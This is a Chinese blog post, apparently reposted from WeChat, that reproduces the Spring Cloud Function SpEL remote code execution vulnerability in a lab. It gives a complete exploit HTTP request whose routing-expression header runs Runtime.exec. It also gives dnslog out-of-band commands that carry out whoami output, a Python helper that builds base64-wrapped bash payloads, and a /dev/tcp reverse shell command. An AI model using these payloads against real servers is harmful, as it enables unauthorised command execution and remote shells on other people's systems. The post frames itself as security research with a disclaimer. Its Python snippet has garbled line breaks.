Spring-cloud-function-SpEL代码执行漏洞复现
“ 本文简单复现Spring Cloud Function SpEL远程代码执行,由于每个网站的路由不一样,所以说爆破网站路由path才能进行利用成功,后续再进行更新批量POC以及EXP”
01
—
环境搭建
将spring3.2.2使用idea打包成jar包,直接使用kali启动,版本jdk11
启动之后直接访问
成功搭建
02
—
漏洞复现
1.漏洞探测
POST /functionRouter HTTP/1.1
Host:192.168.123.195:8080
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping g9juaf.dnslog.cn")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
rce
在dnslog上面查看回显
2.命令执行
配合dnslog尝试带出命令回显
以下命令只适用于Linux
ping `whoami`.dnslog
进行bash-c加密
ping `whoami`.g9juaf.dnslog.cn
bash -c {echo,cGluZyBgd2hvYW1pYC5nOWp1YWYuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}
加密代码如下:
import base64cmd =input('请输入你要加密的命令:')
cmd = cmd.encode('utf-8')
cmd = str(base64.b64encode(cmd))
cmd = cmd.strip('b')cmd = cmd.strip("'")
paload = 'bash -c {echo,' + cmd + '}|{base64,-d}|{bash,-i}'
print(paload)
再手动请求
查看dnslog回显
发现成功带出
3.反弹shell
同样的我们将反弹shell进行bash加密
bash -i >&/dev/tcp/192.168.123.195/7777 0>&1
反弹成功
好久没写水文了,今天发篇水文,本来批量POC跟反弹EXP都写好了,但是下午发现一个问题,每个源码的路由都不一样,但是默认路由是functionRouter,可能在真实环境中确实存在默认路由的名称,但是触发漏洞几率又小,有的能触发漏洞但是未必出网,考虑到种种原因,还是把github上的源码给隐藏了,等明天找找路由字典,再去琢磨琢磨怎么写批量POC,感谢各位大佬观看,今天的文章就到这,欢迎三连
原文始发于微信公众号(chaosec):Spring-cloud-function-SpEL远程代码执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论